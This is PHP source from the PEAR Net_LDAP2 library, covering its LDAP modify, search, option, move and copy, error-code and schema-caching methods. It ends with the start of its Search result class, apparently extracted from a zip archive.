                    return PEAR::raiseError("Could not delete entry " . $dn . " " .
                                            $error_name,
                                            $error_code);
                }
            }
        }
    }

    /**
    * Modify an ldapentry directly on the server
    *
    * This one takes the DN or a Net_LDAP2_Entry object and an array of actions.
    * This array should be something like this:
    *
    * array('add' => array('attribute1' => array('val1', 'val2'),
    *                      'attribute2' => array('val1')),
    *       'delete' => array('attribute1'),
    *       'replace' => array('attribute1' => array('val1')),
    *       'changes' => array('add' => ...,
    *                          'replace' => ...,
    *                          'delete' => array('attribute1', 'attribute2' => array('val1')))
    *
    * The changes array is there so the order of operations can be influenced
    * (the operations are done in order of appearance).
    * The order of execution is as following:
    *   1. adds from 'add' array
    *   2. deletes from 'delete' array
    *   3. replaces from 'replace' array
    *   4. changes (add, replace, delete) in order of appearance
    * All subarrays (add, replace, delete, changes) may be given at the same time.
    *
    * The function calls the corresponding functions of an Net_LDAP2_Entry
    * object. A detailed description of array structures can be found there.
    *
    * Unlike the modification methods provided by the Net_LDAP2_Entry object,
    * this method will instantly carry out an update() after each operation,
    * thus modifying "directly" on the server.
    *
    * @param string|Net_LDAP2_Entry $entry DN-string or Net_LDAP2_Entry
    * @param array                  $parms Array of changes
    *
    * @access public
    * @return Net_LDAP2_Error|true Net_LDAP2_Error object or true
    */
    public function modify($entry, $parms = array())
    {
        if (is_string($entry)) {
            $entry = $this->getEntry($entry);
            if (self::isError($entry)) {
                return $entry;
            }
        }
        if (!$entry instanceof Net_LDAP2_Entry) {
            return PEAR::raiseError("Parameter is not a string nor an entry object!");
        }

        // Perform changes mentioned separately
        foreach (array('add', 'delete', 'replace') as $action) {
            if (isset($parms[$action])) {
                $msg = $entry->$action($parms[$action]);
                if (self::isError($msg)) {
                    return $msg;
                }
                $entry->setLDAP($this);

                // Because the @ldap functions are called inside Net_LDAP2_Entry::update(),
                // we have to trap the error codes issued from that if we want to support
                // reconnection.
                while (true) {
                    $msg = $entry->update();

                    if (self::isError($msg)) {
                        // We have a failure.  What type?  We may be able to reconnect
                        // and try again.
                        $error_code = $msg->getCode();
                        $error_name = Net_LDAP2::errorMessage($error_code);

                        if ((Net_LDAP2::errorMessage($error_code) === 'LDAP_OPERATIONS_ERROR') &&
                            ($this->_config['auto_reconnect'])) {

                            // The server has become disconnected before trying the
                            // operation.  We should try again, possibly with a different
                            // server.
                            $this->_link = false;
                            $this->performReconnect();

                        } else {

                            // Errors other than the above catched are just passed
                            // back to the user so he may react upon them.
                            return PEAR::raiseError("Could not modify entry: ".$msg->getMessage());
                        }
                    } else {
                        // modification succeedet, evaluate next change
                        break;
                    }
                }
            }
        }

        // perform combined changes in 'changes' array
        if (isset($parms['changes']) && is_array($parms['changes'])) {
            foreach ($parms['changes'] as $action => $value) {

                // Because the @ldap functions are called inside Net_LDAP2_Entry::update,
                // we have to trap the error codes issued from that if we want to support
                // reconnection.
                while (true) {
                    $msg = $this->modify($entry, array($action => $value));

                    if (self::isError($msg)) {
                        // We have a failure.  What type?  We may be able to reconnect
                        // and try again.
                        $error_code = $msg->getCode();
                        $error_name = Net_LDAP2::errorMessage($error_code);

                        if ((Net_LDAP2::errorMessage($error_code) === 'LDAP_OPERATIONS_ERROR') &&
                            ($this->_config['auto_reconnect'])) {

                            // The server has become disconnected before trying the
                            // operation.  We should try again, possibly with a different
                            // server.
                            $this->_link = false;
                            $this->performReconnect();

                        } else {
                            // Errors other than the above catched are just passed
                            // back to the user so he may react upon them.
                            return $msg;
                        }
                    } else {
                        // modification succeedet, evaluate next change
                        break;
                    }
                }
            }
        }

        return true;
    }

    /**
    * Run a ldap search query
    *
    * Search is used to query the ldap-database.
    * $base and $filter may be ommitted. The one from config will
    * then be used. $base is either a DN-string or an Net_LDAP2_Entry
    * object in which case its DN willb e used.
    *
    * Params may contain:
    *
    * scope: The scope which will be used for searching
    *        base - Just one entry
    *        sub  - The whole tree
    *        one  - Immediately below $base
    * sizelimit: Limit the number of entries returned (default: 0 = unlimited),
    * timelimit: Limit the time spent for searching (default: 0 = unlimited),
    * attrsonly: If true, the search will only return the attribute names,
    * attributes: Array of attribute names, which the entry should contain.
    *             It is good practice to limit this to just the ones you need.
    * [NOT IMPLEMENTED]
    * deref: By default aliases are dereferenced to locate the base object for the search, but not when
    *        searching subordinates of the base object. This may be changed by specifying one of the
    *        following values:
    *
    *        never  - Do not dereference aliases in searching or in locating the base object of the search.
    *        search - Dereference aliases in subordinates of the base object in searching, but not in
    *                locating the base object of the search.
    *        find
    *        always
    *
    * Please note, that you cannot override server side limitations to sizelimit
    * and timelimit: You can always only lower a given limit.
    *
    * @param string|Net_LDAP2_Entry  $base   LDAP searchbase
    * @param string|Net_LDAP2_Filter $filter LDAP search filter or a Net_LDAP2_Filter object
    * @param array                   $params Array of options
    *
    * @access public
    * @return Net_LDAP2_Search|Net_LDAP2_Error Net_LDAP2_Search object or Net_LDAP2_Error object
    * @todo implement search controls (sorting etc)
    */
    public function search($base = null, $filter = null, $params = array())
    {
        if (is_null($base)) {
            $base = $this->_config['basedn'];
        }
        if ($base instanceof Net_LDAP2_Entry) {
            $base = $base->dn(); // fetch DN of entry, making searchbase relative to the entry
        }
        if (is_null($filter)) {
            $filter = $this->_config['filter'];
        }
        if ($filter instanceof Net_LDAP2_Filter) {
            $filter = $filter->asString(); // convert Net_LDAP2_Filter to string representation
        }
        if (PEAR::isError($filter)) {
            return $filter;
        }
        if (PEAR::isError($base)) {
            return $base;
        }

        /* setting searchparameters  */
        (isset($params['sizelimit']))  ? $sizelimit  = $params['sizelimit']  : $sizelimit = 0;
        (isset($params['timelimit']))  ? $timelimit  = $params['timelimit']  : $timelimit = 0;
        (isset($params['attrsonly']))  ? $attrsonly  = $params['attrsonly']  : $attrsonly = 0;
        (isset($params['attributes'])) ? $attributes = $params['attributes'] : $attributes = array();

        // Ensure $attributes to be an array in case only one
        // attribute name was given as string
        if (!is_array($attributes)) {
            $attributes = array($attributes);
        }

        // reorganize the $attributes array index keys
        // sometimes there are problems with not consecutive indexes
        $attributes = array_values($attributes);

        // scoping makes searches faster!
        $scope = (isset($params['scope']) ? $params['scope'] : $this->_config['scope']);

        switch ($scope) {
        case 'one':
            $search_function = 'ldap_list';
            break;
        case 'base':
            $search_function = 'ldap_read';
            break;
        default:
            $search_function = 'ldap_search';
        }

        // Continue attempting the search operation until we get a success
        // or a definitive failure.
        while (true) {
            $link = $this->getLink();
            $search = @call_user_func($search_function,
                                      $link,
                                      $base,
                                      $filter,
                                      $attributes,
                                      $attrsonly,
                                      $sizelimit,
                                      $timelimit);

            if ($err = @ldap_errno($link)) {
                if ($err == 32) {
                    // Errorcode 32 = no such object, i.e. a nullresult.
                    return $obj = new Net_LDAP2_Search ($search, $this, $attributes);
                } elseif ($err == 4) {
                    // Errorcode 4 = sizelimit exeeded.
                    return $obj = new Net_LDAP2_Search ($search, $this, $attributes);
                } elseif ($err == 87) {
                    // bad search filter
                    return $this->raiseError(Net_LDAP2::errorMessage($err) . "($filter)", $err);
                } elseif (($err == 1) && ($this->_config['auto_reconnect'])) {
                    // Errorcode 1 = LDAP_OPERATIONS_ERROR but we can try a reconnect.
                    $this->_link = false;
                    $this->performReconnect();
                } else {
                    $msg = "\nParameters:\nBase: $base\nFilter: $filter\nScope: $scope";
                    return $this->raiseError(Net_LDAP2::errorMessage($err) . $msg, $err);
                }
            } else {
                return $obj = new Net_LDAP2_Search($search, $this, $attributes);
            }
        }
    }

    /**
    * Set an LDAP option
    *
    * @param string $option Option to set
    * @param mixed  $value  Value to set Option to
    *
    * @access public
    * @return Net_LDAP2_Error|true    Net_LDAP2_Error object or true
    */
    public function setOption($option, $value)
    {
        if ($this->_link) {
            if (defined($option)) {
                if (@ldap_set_option($this->_link, constant($option), $value)) {
                    return true;
                } else {
                    $err = @ldap_errno($this->_link);
                    if ($err) {
                        $msg = @ldap_err2str($err);
                    } else {
                        $err = NET_LDAP2_ERROR;
                        $msg = Net_LDAP2::errorMessage($err);
                    }
                    return $this->raiseError($msg, $err);
                }
            } else {
                return $this->raiseError("Unkown Option requested");
            }
        } else {
            return $this->raiseError("Could not set LDAP option: No LDAP connection");
        }
    }

    /**
    * Get an LDAP option value
    *
    * @param string $option Option to get
    *
    * @access public
    * @return Net_LDAP2_Error|string Net_LDAP2_Error or option value
    */
    public function getOption($option)
    {
        if ($this->_link) {
            if (defined($option)) {
                if (@ldap_get_option($this->_link, constant($option), $value)) {
                    return $value;
                } else {
                    $err = @ldap_errno($this->_link);
                    if ($err) {
                        $msg = @ldap_err2str($err);
                    } else {
                        $err = NET_LDAP2_ERROR;
                        $msg = Net_LDAP2::errorMessage($err);
                    }
                    return $this->raiseError($msg, $err);
                }
            } else {
                $this->raiseError("Unkown Option requested");
            }
        } else {
            $this->raiseError("No LDAP connection");
        }
    }

    /**
    * Get the LDAP_PROTOCOL_VERSION that is used on the connection.
    *
    * A lot of ldap functionality is defined by what protocol version the ldap server speaks.
    * This might be 2 or 3.
    *
    * @return int
    */
    public function getLDAPVersion()
    {
        if ($this->_link) {
            $version = $this->getOption("LDAP_OPT_PROTOCOL_VERSION");
        } else {
            $version = $this->_config['version'];
        }
        return $version;
    }

    /**
    * Set the LDAP_PROTOCOL_VERSION that is used on the connection.
    *
    * @param int     $version LDAP-version that should be used
    * @param boolean $force   If set to true, the check against the rootDSE will be skipped
    *
    * @return Net_LDAP2_Error|true    Net_LDAP2_Error object or true
    * @todo Checking via the rootDSE takes much time - why? fetching and instanciation is quick!
    */
    public function setLDAPVersion($version = 0, $force = false)
    {
        if (!$version) {
            $version = $this->_config['version'];
        }

        //
        // Check to see if the server supports this version first.
        //
        // Todo: Why is this so horribly slow?
        // $this->rootDse() is very fast, as well as Net_LDAP2_RootDSE::fetch()
        // seems like a problem at copiyng the object inside PHP??
        // Additionally, this is not always reproducable...
        //
        if (!$force) {
            $rootDSE = $this->rootDse();
            if ($rootDSE instanceof Net_LDAP2_Error) {
                return $rootDSE;
            } else {
                $supported_versions = $rootDSE->getValue('supportedLDAPVersion');
                if (is_string($supported_versions)) {
                    $supported_versions = array($supported_versions);
                }
                $check_ok = in_array($version, $supported_versions);
            }
        }

        if ($force || $check_ok) {
            return $this->setOption("LDAP_OPT_PROTOCOL_VERSION", $version);
        } else {
            return $this->raiseError("LDAP Server does not support protocol version " . $version);
        }
    }


    /**
    * Tells if a DN does exist in the directory
    *
    * @param string|Net_LDAP2_Entry $dn The DN of the object to test
    *
    * @return boolean|Net_LDAP2_Error
    */
    public function dnExists($dn)
    {
        if (PEAR::isError($dn)) {
            return $dn;
        }
        if ($dn instanceof Net_LDAP2_Entry) {
             $dn = $dn->dn();
        }
        if (false === is_string($dn)) {
            return PEAR::raiseError('Parameter $dn is not a string nor an entry object!');
        }

        // search LDAP for that DN by performing a baselevel search for any
        // object. We can only find the DN in question this way, or nothing.
        $s_opts = array(
            'scope'      => 'base',
            'sizelimit'  => 1,
            'attributes' => '1.1' // select no attrs
        );
        $search = $this->search($dn, '(objectClass=*)', $s_opts);

        if (self::isError($search)) {
            return $search;
        }

        // retun wehter the DN exists; that is, we found an entry
        return ($search->count() == 0)? false : true;
    }


    /**
    * Get a specific entry based on the DN
    *
    * @param string $dn   DN of the entry that should be fetched
    * @param array  $attr Array of Attributes to select. If ommitted, all attributes are fetched.
    *
    * @return Net_LDAP2_Entry|Net_LDAP2_Error    Reference to a Net_LDAP2_Entry object or Net_LDAP2_Error object
    * @todo Maybe check against the shema should be done to be sure the attribute type exists
    */
    public function getEntry($dn, $attr = array())
    {
        if (!is_array($attr)) {
            $attr = array($attr);
        }
        $result = $this->search($dn, '(objectClass=*)',
                                array('scope' => 'base', 'attributes' => $attr));
        if (self::isError($result)) {
            return $result;
        } elseif ($result->count() == 0) {
            return PEAR::raiseError('Could not fetch entry '.$dn.': no entry found');
        }
        $entry = $result->shiftEntry();
        if (false == $entry) {
            return PEAR::raiseError('Could not fetch entry (error retrieving entry from search result)');
        }
        return $entry;
    }

    /**
    * Rename or move an entry
    *
    * This method will instantly carry out an update() after the move,
    * so the entry is moved instantly.
    * You can pass an optional Net_LDAP2 object. In this case, a cross directory
    * move will be performed which deletes the entry in the source (THIS) directory
    * and adds it in the directory $target_ldap.
    * A cross directory move will switch the Entrys internal LDAP reference so
    * updates to the entry will go to the new directory.
    *
    * Note that if you want to do a cross directory move, you need to
    * pass an Net_LDAP2_Entry object, otherwise the attributes will be empty.
    *
    * @param string|Net_LDAP2_Entry $entry       Entry DN or Entry object
    * @param string                 $newdn       New location
    * @param Net_LDAP2              $target_ldap (optional) Target directory for cross server move; should be passed via reference
    * @param boolean                $deleteoldrdn (optional) if false the old RDN value(s) is retained as non-distinguishided values of the entry.
    *
    * @return Net_LDAP2_Error|true
    */
    public function move($entry, $newdn, $target_ldap = null, $deleteoldrdn = true)
    {
        if (is_string($entry)) {
            $entry_o = $this->getEntry($entry);
        } else {
            $entry_o = $entry;
        }
        if (!$entry_o instanceof Net_LDAP2_Entry) {
            return PEAR::raiseError('Parameter $entry is expected to be a Net_LDAP2_Entry object! (If DN was passed, conversion failed)');
        }
        if (null !== $target_ldap && !$target_ldap instanceof Net_LDAP2) {
            return PEAR::raiseError('Parameter $target_ldap is expected to be a Net_LDAP2 object!');
        }

        if ($target_ldap && $target_ldap !== $this) {
            // cross directory move
            if (is_string($entry)) {
                return PEAR::raiseError('Unable to perform cross directory move: operation requires a Net_LDAP2_Entry object');
            }
            if ($target_ldap->dnExists($newdn)) {
                return PEAR::raiseError('Unable to perform cross directory move: entry does exist in target directory');
            }
            $entry_o->dn($newdn);
            $res = $target_ldap->add($entry_o);
            if (self::isError($res)) {
                return PEAR::raiseError('Unable to perform cross directory move: '.$res->getMessage().' in target directory');
            }
            $res = $this->delete($entry_o->currentDN());
            if (self::isError($res)) {
                $res2 = $target_ldap->delete($entry_o); // undo add
                if (self::isError($res2)) {
                    $add_error_string = 'Additionally, the deletion (undo add) of $entry in target directory failed.';
                }
                return PEAR::raiseError('Unable to perform cross directory move: '.$res->getMessage().' in source directory. '.$add_error_string);
            }
            $entry_o->setLDAP($target_ldap);
            return true;
        } else {
            // local move
            $entry_o->dn($newdn);
            $entry_o->setLDAP($this);
            return $entry_o->update($deleteoldrdn);
        }
    }

    /**
    * Copy an entry to a new location
    *
    * The entry will be immediately copied.
    * Please note that only attributes you have
    * selected will be copied.
    *
    * @param Net_LDAP2_Entry $entry Entry object
    * @param string          $newdn  New FQF-DN of the entry
    *
    * @return Net_LDAP2_Error|Net_LDAP2_Entry Error Message or reference to the copied entry
    */
    public function copy($entry, $newdn)
    {
        if (!$entry instanceof Net_LDAP2_Entry) {
            return PEAR::raiseError('Parameter $entry is expected to be a Net_LDAP2_Entry object!');
        }

        $newentry = Net_LDAP2_Entry::createFresh($newdn, $entry->getValues());
        $result   = $this->add($newentry);

        if ($result instanceof Net_LDAP2_Error) {
            return $result;
        } else {
            return $newentry;
        }
    }


    /**
    * Returns the string for an ldap errorcode.
    *
    * Made to be able to make better errorhandling
    * Function based on DB::errorMessage()
    * Tip: The best description of the errorcodes is found here:
    * http://www.directory-info.com/LDAP2/LDAPErrorCodes.html
    *
    * @param int $errorcode Error code
    *
    * @return string The errorstring for the error.
    */
    public static function errorMessage($errorcode)
    {
        $errorMessages = array(
                              0x00 => "LDAP_SUCCESS",
                              0x01 => "LDAP_OPERATIONS_ERROR",
                              0x02 => "LDAP_PROTOCOL_ERROR",
                              0x03 => "LDAP_TIMELIMIT_EXCEEDED",
                              0x04 => "LDAP_SIZELIMIT_EXCEEDED",
                              0x05 => "LDAP_COMPARE_FALSE",
                              0x06 => "LDAP_COMPARE_TRUE",
                              0x07 => "LDAP_AUTH_METHOD_NOT_SUPPORTED",
                              0x08 => "LDAP_STRONG_AUTH_REQUIRED",
                              0x09 => "LDAP_PARTIAL_RESULTS",
                              0x0a => "LDAP_REFERRAL",
                              0x0b => "LDAP_ADMINLIMIT_EXCEEDED",
                              0x0c => "LDAP_UNAVAILABLE_CRITICAL_EXTENSION",
                              0x0d => "LDAP_CONFIDENTIALITY_REQUIRED",
                              0x0e => "LDAP_SASL_BIND_INPROGRESS",
                              0x10 => "LDAP_NO_SUCH_ATTRIBUTE",
                              0x11 => "LDAP_UNDEFINED_TYPE",
                              0x12 => "LDAP_INAPPROPRIATE_MATCHING",
                              0x13 => "LDAP_CONSTRAINT_VIOLATION",
                              0x14 => "LDAP_TYPE_OR_VALUE_EXISTS",
                              0x15 => "LDAP_INVALID_SYNTAX",
                              0x20 => "LDAP_NO_SUCH_OBJECT",
                              0x21 => "LDAP_ALIAS_PROBLEM",
                              0x22 => "LDAP_INVALID_DN_SYNTAX",
                              0x23 => "LDAP_IS_LEAF",
                              0x24 => "LDAP_ALIAS_DEREF_PROBLEM",
                              0x30 => "LDAP_INAPPROPRIATE_AUTH",
                              0x31 => "LDAP_INVALID_CREDENTIALS",
                              0x32 => "LDAP_INSUFFICIENT_ACCESS",
                              0x33 => "LDAP_BUSY",
                              0x34 => "LDAP_UNAVAILABLE",
                              0x35 => "LDAP_UNWILLING_TO_PERFORM",
                              0x36 => "LDAP_LOOP_DETECT",
                              0x3C => "LDAP_SORT_CONTROL_MISSING",
                              0x3D => "LDAP_INDEX_RANGE_ERROR",
                              0x40 => "LDAP_NAMING_VIOLATION",
                              0x41 => "LDAP_OBJECT_CLASS_VIOLATION",
                              0x42 => "LDAP_NOT_ALLOWED_ON_NONLEAF",
                              0x43 => "LDAP_NOT_ALLOWED_ON_RDN",
                              0x44 => "LDAP_ALREADY_EXISTS",
                              0x45 => "LDAP_NO_OBJECT_CLASS_MODS",
                              0x46 => "LDAP_RESULTS_TOO_LARGE",
                              0x47 => "LDAP_AFFECTS_MULTIPLE_DSAS",
                              0x50 => "LDAP_OTHER",
                              0x51 => "LDAP_SERVER_DOWN",
                              0x52 => "LDAP_LOCAL_ERROR",
                              0x53 => "LDAP_ENCODING_ERROR",
                              0x54 => "LDAP_DECODING_ERROR",
                              0x55 => "LDAP_TIMEOUT",
                              0x56 => "LDAP_AUTH_UNKNOWN",
                              0x57 => "LDAP_FILTER_ERROR",
                              0x58 => "LDAP_USER_CANCELLED",
                              0x59 => "LDAP_PARAM_ERROR",
                              0x5a => "LDAP_NO_MEMORY",
                              0x5b => "LDAP_CONNECT_ERROR",
                              0x5c => "LDAP_NOT_SUPPORTED",
                              0x5d => "LDAP_CONTROL_NOT_FOUND",
                              0x5e => "LDAP_NO_RESULTS_RETURNED",
                              0x5f => "LDAP_MORE_RESULTS_TO_RETURN",
                              0x60 => "LDAP_CLIENT_LOOP",
                              0x61 => "LDAP_REFERRAL_LIMIT_EXCEEDED",
                              1000 => "Unknown Net_LDAP2 Error"
                              );

         return isset($errorMessages[$errorcode]) ?
            $errorMessages[$errorcode] :
            $errorMessages[NET_LDAP2_ERROR] . ' (' . $errorcode . ')';
    }

    /**
    * Gets a rootDSE object
    *
    * This either fetches a fresh rootDSE object or returns it from
    * the internal cache for performance reasons, if possible.
    *
    * @param array $attrs Array of attributes to search for
    *
    * @access public
    * @return Net_LDAP2_Error|Net_LDAP2_RootDSE Net_LDAP2_Error or Net_LDAP2_RootDSE object
    */
    public function rootDse($attrs = null)
    {
        if ($attrs !== null && !is_array($attrs)) {
            return PEAR::raiseError('Parameter $attr is expected to be an array!');
        }

        $attrs_signature = serialize($attrs);

        // see if we need to fetch a fresh object, or if we already
        // requested this object with the same attributes
        if (true || !array_key_exists($attrs_signature, $this->_rootDSE_cache)) {
            $rootdse = Net_LDAP2_RootDSE::fetch($this, $attrs);
            if ($rootdse instanceof Net_LDAP2_Error) {
                return $rootdse;
            }

            // search was ok, store rootDSE in cache
            $this->_rootDSE_cache[$attrs_signature] = $rootdse;
        }
        return $this->_rootDSE_cache[$attrs_signature];
    }

    /**
    * Alias function of rootDse() for perl-ldap interface
    *
    * @access public
    * @see rootDse()
    * @return Net_LDAP2_Error|Net_LDAP2_RootDSE
    */
    public function root_dse()
    {
        $args = func_get_args();
        return call_user_func_array(array($this, 'rootDse'), $args);
    }

    /**
    * Get a schema object
    *
    * @param string $dn (optional) Subschema entry dn
    *
    * @access public
    * @return Net_LDAP2_Schema|Net_LDAP2_Error  Net_LDAP2_Schema or Net_LDAP2_Error object
    */
    public function schema($dn = null)
    {
        // Schema caching by Knut-Olav Hoven
        // If a schema caching object is registered, we use that to fetch
        // a schema object.
        // See registerSchemaCache() for more info on this.
        if ($this->_schema === null) {
            if ($this->_schema_cache) {
               $cached_schema = $this->_schema_cache->loadSchema();
               if ($cached_schema instanceof Net_LDAP2_Error) {
                   return $cached_schema; // route error to client
               } else {
                   if ($cached_schema instanceof Net_LDAP2_Schema) {
                       $this->_schema = $cached_schema;
                   }
               }
            }
        }

        // Fetch schema, if not tried before and no cached version available.
        // If we are already fetching the schema, we will skip fetching.
        if ($this->_schema === null) {
            // store a temporary error message so subsequent calls to schema() can
            // detect, that we are fetching the schema already.
            // Otherwise we will get an infinite loop at Net_LDAP2_Schema::fetch()
            $this->_schema = new Net_LDAP2_Error('Schema not initialized');
            $this->_schema = Net_LDAP2_Schema::fetch($this, $dn);

            // If schema caching is active, advise the cache to store the schema
            if ($this->_schema_cache) {
                $caching_result = $this->_schema_cache->storeSchema($this->_schema);
                if ($caching_result instanceof Net_LDAP2_Error) {
                    return $caching_result; // route error to client
                }
            }
        }
        return $this->_schema;
    }

    /**
    * Enable/disable persistent schema caching
    *
    * Sometimes it might be useful to allow your scripts to cache
    * the schema information on disk, so the schema is not fetched
    * every time the script runs which could make your scripts run
    * faster.
    *
    * This method allows you to register a custom object that
    * implements your schema cache. Please see the SchemaCache interface
    * (SchemaCache.interface.php) for informations on how to implement this.
    * To unregister the cache, pass null as $cache parameter.
    *
    * For ease of use, Net_LDAP2 provides a simple file based cache
    * which is used in the example below. You may use this, for example,
    * to store the schema in a linux tmpfs which results in the schema
    * beeing cached inside the RAM which allows nearly instant access.
    * <code>
    *    // Create the simple file cache object that comes along with Net_LDAP2
    *    $mySchemaCache_cfg = array(
    *      'path'    =>  '/tmp/Net_LDAP2_Schema.cache',
    *      'max_age' =>  86400   // max age is 24 hours (in seconds)
    *    );
    *    $mySchemaCache = new Net_LDAP2_SimpleFileSchemaCache($mySchemaCache_cfg);
    *    $ldap = new Net_LDAP2::connect(...);
    *    $ldap->registerSchemaCache($mySchemaCache); // enable caching
    *    // now each call to $ldap->schema() will get the schema from disk!
    * </code>
    *
    * @param Net_LDAP2_SchemaCache|null $cache Object implementing the Net_LDAP2_SchemaCache interface
    *
    * @return true|Net_LDAP2_Error
    */
    public function registerSchemaCache($cache) {
        if (is_null($cache)
        || (is_object($cache) && in_array('Net_LDAP2_SchemaCache', class_implements($cache))) ) {
            $this->_schema_cache = $cache;
            return true;
        } else {
            return new Net_LDAP2_Error('Custom schema caching object is either no '.
                'valid object or does not implement the Net_LDAP2_SchemaCache interface!');
        }
    }


    /**
    * Checks if phps ldap-extension is loaded
    *
    * If it is not loaded, it tries to load it manually using PHPs dl().
    * It knows both windows-dll and *nix-so.
    *
    * @static
    * @return Net_LDAP2_Error|true
    */
    public static function checkLDAPExtension()
    {
        if (!extension_loaded('ldap') && !@dl('ldap.' . PHP_SHLIB_SUFFIX)) {
            return new Net_LDAP2_Error("It seems that you do not have the ldap-extension installed. Please install it before using the Net_LDAP2 package.");
        } else {
            return true;
        }
    }

    /**
    * Encodes given attributes from ISO-8859-1 to UTF-8 if needed by schema
    *
    * This function takes attributes in an array and then checks against the schema if they need
    * UTF8 encoding. If that is so, they will be encoded. An encoded array will be returned and
    * can be used for adding or modifying.
    *
    * $attributes is expected to be an array with keys describing
    * the attribute names and the values as the value of this attribute:
    * <code>$attributes = array('cn' => 'foo', 'attr2' => array('mv1', 'mv2'));</code>
    *
    * @param array $attributes Array of attributes
    *
    * @access public
    * @return array|Net_LDAP2_Error Array of UTF8 encoded attributes or Error
    */
    public function utf8Encode($attributes)
    {
        return $this->utf8($attributes, 'utf8_encode');
    }

    /**
    * Decodes the given attribute values from UTF-8 to ISO-8859-1 if needed by schema
    *
    * $attributes is expected to be an array with keys describing
    * the attribute names and the values as the value of this attribute:
    * <code>$attributes = array('cn' => 'foo', 'attr2' => array('mv1', 'mv2'));</code>
    *
    * @param array $attributes Array of attributes
    *
    * @access public
    * @see utf8Encode()
    * @return array|Net_LDAP2_Error Array with decoded attribute values or Error
    */
    public function utf8Decode($attributes)
    {
        return $this->utf8($attributes, 'utf8_decode');
    }

    /**
    * Encodes or decodes UTF-8/ISO-8859-1 attribute values if needed by schema
    *
    * @param array $attributes Array of attributes
    * @param array $function   Function to apply to attribute values
    *
    * @access protected
    * @return array|Net_LDAP2_Error Array of attributes with function applied to values or Error
    */
    protected function utf8($attributes, $function)
    {
        if (!is_array($attributes) || array_key_exists(0, $attributes)) {
            return PEAR::raiseError('Parameter $attributes is expected to be an associative array');
        }

        if (!$this->_schema) {
            $this->_schema = $this->schema();
        }

        if (!$this->_link || self::isError($this->_schema) || !function_exists($function)) {
            return $attributes;
        }

        if (is_array($attributes) && count($attributes) > 0) {

            foreach ($attributes as $k => $v) {

                if (!isset($this->_schemaAttrs[$k])) {

                    $attr = $this->_schema->get('attribute', $k);
                    if (self::isError($attr)) {
                        continue;
                    }

                    // Encoding is needed if this is a DIR_STR. We assume also
                    // needed encoding in case the schema contains no syntax
                    // information (he does not need to, see rfc2252, 4.2)
                    if (!array_key_exists('syntax', $attr) || false !== strpos($attr['syntax'], '1.3.6.1.4.1.1466.115.121.1.15')) {
                        $encode = true;
                    } else {
                        $encode = false;
                    }
                    $this->_schemaAttrs[$k] = $encode;

                } else {
                    $encode = $this->_schemaAttrs[$k];
                }

                if ($encode) {
                    if (is_array($v)) {
                        foreach ($v as $ak => $av) {
                            $v[$ak] = call_user_func($function, $av);
                        }
                    } else {
                        $v = call_user_func($function, $v);
                    }
                }
                $attributes[$k] = $v;
            }
        }
        return $attributes;
    }

    /**
    * Get the LDAP link resource.  It will loop attempting to
    * re-establish the connection if the connection attempt fails and
    * auto_reconnect has been turned on (see the _config array documentation).
    *
    * @access public
    * @return resource|\LDAP\Connection LDAP link (resource on PHP < 8.1)
    */
    public function getLink()
    {
        if ($this->_config['auto_reconnect']) {
            while (true) {
                //
                // Return the link handle if we are already connected.  Otherwise
                // try to reconnect.
                //
                if ($this->_link !== false) {
                    return $this->_link;
                } else {
                    $this->performReconnect();
                }
            }
        }
        return $this->_link;
    }
}

/**
* Net_LDAP2_Error implements a class for reporting portable LDAP error messages.
*
* @category Net
* @package  Net_LDAP2
* @author   Tarjej Huse <tarjei@bergfald.no>
* @license  http://www.gnu.org/copyleft/lesser.html LGPL
* @link     http://pear.php.net/package/Net_LDAP22/
*/
class Net_LDAP2_Error extends PEAR_Error
{
    /**
     * Net_LDAP2_Error constructor.
     *
     * @param string  $message   String with error message.
     * @param integer $code      Net_LDAP2 error code
     * @param integer $mode      what "error mode" to operate in
     * @param mixed   $level     what error level to use for $mode & PEAR_ERROR_TRIGGER
     * @param mixed   $debuginfo additional debug info, such as the last query
     *
     * @access public
     * @see PEAR_Error
     */
    public function __construct($message = 'Net_LDAP2_Error', $code = NET_LDAP2_ERROR, $mode = PEAR_ERROR_RETURN,
                         $level = E_USER_NOTICE, $debuginfo = null)
    {
        if (is_int($code)) {
            parent::__construct($message . ': ' . Net_LDAP2::errorMessage($code), $code, $mode, $level, $debuginfo);
        } else {
            parent::__construct("$message: $code", NET_LDAP2_ERROR, $mode, $level, $debuginfo);
        }
    }
}

?>
PK
h�\7�(1K1K*vendor/pear/net_ldap2/Net/LDAP2/Search.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
* File containing the Net_LDAP2_Search interface class.
*
* PHP version 5
*
* @category  Net
* @package   Net_LDAP2
* @author    Tarjej Huse <tarjei@bergfald.no>
* @author    Benedikt Hallinger <beni@php.net>
* @copyright 2009 Tarjej Huse, Benedikt Hallinger
* @license   http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3
* @version   SVN: $Id$
* @link      http://pear.php.net/package/Net_LDAP2/
*/

/**
* Includes
*/
require_once 'PEAR.php';

/**
* Result set of an LDAP search
*
* @category Net
* @package  Net_LDAP2
* @author   Tarjej Huse <tarjei@bergfald.no>
* @author   Benedikt Hallinger <beni@php.net>
* @license  http://www.gnu.org/copyleft/lesser.html LGPL
* @link     http://pear.php.net/package/Net_LDAP22/
*/
class Net_LDAP2_Search extends PEAR implements Iterator
{
    /**
    * Search result identifier
    *
    * @access protected
    * @var resource
    */
    protected $_search;

    /**
    * LDAP resource link
    *
    * @access protected
    * @var resource
    */
    protected $_link;

    /**
    * Net_LDAP2 object
    *
    * A reference of the Net_LDAP2 object for passing to Net_LDAP2_Entry
    *
    * @access protected
    * @var object Net_LDAP2
    */
    protected $_ldap;

    /**
    * Result entry identifier
    *
    * @access protected
    * @var resource
    */
    protected $_entry = null;

    /**
    * The errorcode the search got
    *
    * Some errorcodes might be of interest, but might not be best handled as errors.
    * examples: 4 - LDAP_SIZELIMIT_EXCEEDED - indicates a huge search.
    *               Incomplete results are returned. If you just want to check if there's anything in the search.
    *               than this is a point to handle.
    *           32 - no such object - search here returns a count of 0.
    *
    * @access protected
    * @var int
    */
    protected $_errorCode = 0; // if not set - sucess!

    /**
    * Cache for all entries already fetched from iterator interface
    *
    * @access protected
    * @var array
    */
    protected $_iteratorCache = array();

    /**
    * What attributes we searched for
    *
    * The $attributes array contains the names of the searched attributes and gets
    * passed from $Net_LDAP2->search() so the Net_LDAP2_Search object can tell
    * what attributes was searched for ({@link searchedAttrs())
    *
    * This variable gets set from the constructor and returned
    * from {@link searchedAttrs()}
    *
    * @access protected
    * @var array
    */
    protected $_searchedAttrs = array();

    /**
